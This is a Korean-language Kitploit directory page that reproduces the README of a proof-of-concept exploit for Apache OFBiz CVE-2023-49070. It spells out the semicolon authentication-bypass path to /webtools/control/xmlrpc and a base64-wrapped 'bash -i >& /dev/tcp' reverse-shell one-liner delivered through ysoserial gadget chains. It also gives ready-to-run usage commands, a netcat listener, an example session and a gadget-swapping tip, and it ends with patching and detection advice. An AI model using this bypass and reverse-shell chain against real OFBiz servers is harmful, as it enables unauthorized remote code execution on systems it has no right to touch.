Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-49070 — Apache OFBiz CVE-2023-49070에 대한 Python PoC: /webtools/control/xmlrpc에서의 인증 우회와 ysoserial gadget 체인을 통한 사전 인증 역직렬화 RCE 달성. | Kitploit
도구/GitHubGitHub/bardlaudian/cve-2023-49070
Defensive ToolsPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed Teaming
GitHubbardlaudian/cve-2023-49070

CVE-2023-49070

Apache OFBiz CVE-2023-49070에 대한 Python PoC: /webtools/control/xmlrpc에서의 인증 우회와 ysoserial gadget 체인을 통한 사전 인증 역직렬화 RCE 달성.

110시간 52분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
웹사이트

ofbiz-xmlrpc-rce (CVE-2023-49070)

Apache OFBiz XML-RPC 사전 인증 역직렬화 RCE(CVE-2023-49070)에 대한 PoC입니다. 인증 우회 경로를 통해 레거시 /webtools/control/xmlrpc 엔드포인트에 접근할 수 있게 되며, 이 엔드포인트는 XML-RPC <serializable> 파라미터 안에 밀반입된 공격자 제어 Java 객체를 역직렬화합니다.

⚠️ 승인된 보안 테스트 전용입니다. 본인이 소유하거나 명시적으로 테스트 권한을 부여받은 시스템(CTF/랩 환경, 서명된 범위가 있는 계약 등)에만 실행하십시오. 컴퓨터 시스템에 대한 무단 접근은 대부분의 관할권에서 불법입니다.

취약점

Apache OFBiz의 view-map 인증은 일반적으로 /webtools/control/xmlrpc를 보호합니다. 영향받는 버전(< 18.12.10)은 경로에 세미콜론과 특정 쿼리 파라미터를 덧붙여 해당 검사를 건너뛰도록 속일 수 있습니다:

root@kitploit:~
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y

접근이 가능해지면 엔드포인트는 XML-RPC 요청을 수락합니다. Apache XML-RPC의 Java 구현은 <serializable> 확장 타입을 지원합니다: 해당 요소의 내용은 base64로 디코딩되어 ObjectInputStream.readObject()로 그대로 전달됩니다 — 전형적인 안전하지 않은 Java 역직렬화입니다. 클래스패스에 적절한 가젯 체인이 있으면(이 PoC는 기본적으로 ysoserial을 통한 CommonsBeanutils1을 사용), 이는 곧 OFBiz를 실행하는 OS 사용자 권한으로의 원격 명령 실행으로 이어집니다.

이는 이전 OFBiz XML-RPC 역직렬화 CVE들과 동일한 계열의 버그입니다(예: CVE-2023-51467의 인증 우회 형제 취약점). OFBiz는 이 엔드포인트에서 인증 우회 + 역직렬화 쌍이 반복적으로 나타나는 패턴을 보여왔으므로, 이 PoC에 의존하기 전에 대상에 적용되는 정확한 CVE/버전 범위를 확인하십시오.

이 스크립트가 하는 일

  1. bash -i >& /dev/tcp/LHOST/LPORT 0>&1 리버스 셸을 만들고, base64로 인코딩한 뒤, bash -c 'echo ... | base64 -d | bash' 원라이너로 감쌉니다(실행 체인 하위에서 셸 메타문자가 변형되는 것을 회피).
  2. ysoserial을 호출하여 해당 원라이너를 실행하는 직렬화된 가젯 체인(기본 CommonsBeanutils1, 설정 가능)을 만듭니다.
  3. 가젯 바이트를 base64로 인코딩하고 XML-RPC <serializable> 페이로드로 감쌉니다.
  4. TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y로 POST합니다.
  5. HTTP 상태를 보고하고, 응답 본문에 OFBiz의 역직렬화 후 오류 마커(No such service)가 포함되어 있는지 표시합니다 — 이는 페이로드가 처리되었다는 신호일 뿐, 코드 실행의 증거는 아닙니다.

이 스크립트가 하지 않는 일

셸을 획득했는지 확인할 수 없습니다 — 역직렬화가 실행되면 OFBiz는 어느 경우든 일반적인 오류를 반환합니다(XML-RPC 메서드 자체인 Dns는 실제 서비스로 존재하지 않습니다). 항상 리스너를 띄워 두고 확인하십시오, 스크립트의 콘솔 출력만 믿지 마십시오.

요구 사항

  • Python 3.8+, pip install requests --break-system-packages
  • Java (ysoserial 빌드와 호환되는 아무 버전)
  • ysoserial-all.jar — frohoff/ysoserial에서 직접 빌드하거나(mvn clean package -DskipTests) 릴리스 jar를 받으십시오. 여기에는 포함되어 있지 않습니다 — 자체 라이선스를 가진 대형 서드파티 도구입니다.

사용법

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py \
    --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar

먼저 리스너를 시작하십시오:

root@kitploit:~
nc -lvnp 4444

모든 옵션

다른 가젯 체인 시도

CommonsBeanutils1은 OFBiz에 대한 고전적인 선택입니다(클래스패스에 commons-beanutils가 포함되어 있음). 하지만 이것이 작동하지 않으면 OFBiz에 번들된 라이브러리들이 다른 체인도 지원합니다. --gadget만 바꾸면 됩니다:

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar \
    --gadget CommonsCollections6

예시 세션

root@kitploit:~
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
    This is a signal the gadget chain executed, not proof of a shell.

[*] Check your listener: nc -lvnp 4444

탐지 및 완화 (방어 노트)

  • Apache OFBiz 18.12.10 이상으로 패치하십시오(또는 해당 브랜치의 현재 패치된 릴리스) — 이는 인증 우회 경로를 모두 닫고 XML-RPC 엔드포인트의 역직렬화를 강화합니다.
  • /webtools/control/xmlrpc를 비활성화하거나 제한하십시오 — XML-RPC 통합을 적극적으로 사용하지 않는다면, webtools 컴포넌트 자체가 일반적인 공격 대상이며 강력한 이유 없이 인터넷에 노출되어서는 안 됩니다.
  • 세미콜론 기반 경로 세그먼트를 WAF/리버스 프록시 계층에서 필터링하십시오 — 심층 방어로서, OFBiz의 많은 인증 우회 CVE가 Java 서블릿 경로 파싱을 대상으로 하는 이 ; 트릭을 공유합니다.
  • 역직렬화 강화: look-ahead 역직렬화 필터(ObjectInputFilter, JEP 290 / Java 9+ 이후 사용 가능)를 사용하여 어떤 엔드포인트가 역직렬화를 트리거하든 알려진 가젯 체인 클래스가 인스턴스화되지 않도록 차단하십시오.
  • 모니터링 대상: <serializable> 요소를 포함한 */control/xmlrpc*로의 POST, OFBiz 호스트에서의 예상치 못한 아웃바운드 연결, OFBiz를 실행하는 Java 프로세스가 생성한 자식 프로세스.

참고 자료

  • NVD — CVE-2023-49070
  • Apache OFBiz security advisories
  • ysoserial

라이선스

MIT — LICENSE 참조.

도구 다운로드
FlagDefaultDescription
--target(required)Target base URL, e.g. https://ofbiz.target.tld
--lhost(required)Your listener IP
--lport(required)Your listener port
--ysoserialysoserial-all.jarPath to the ysoserial jar
--gadgetCommonsBeanutils1ysoserial gadget chain to use
--java-binjavaJava binary to invoke
--timeout15HTTP request timeout (seconds)
--proxy(none)Optional HTTP(S) proxy, e.g. for routing through Burp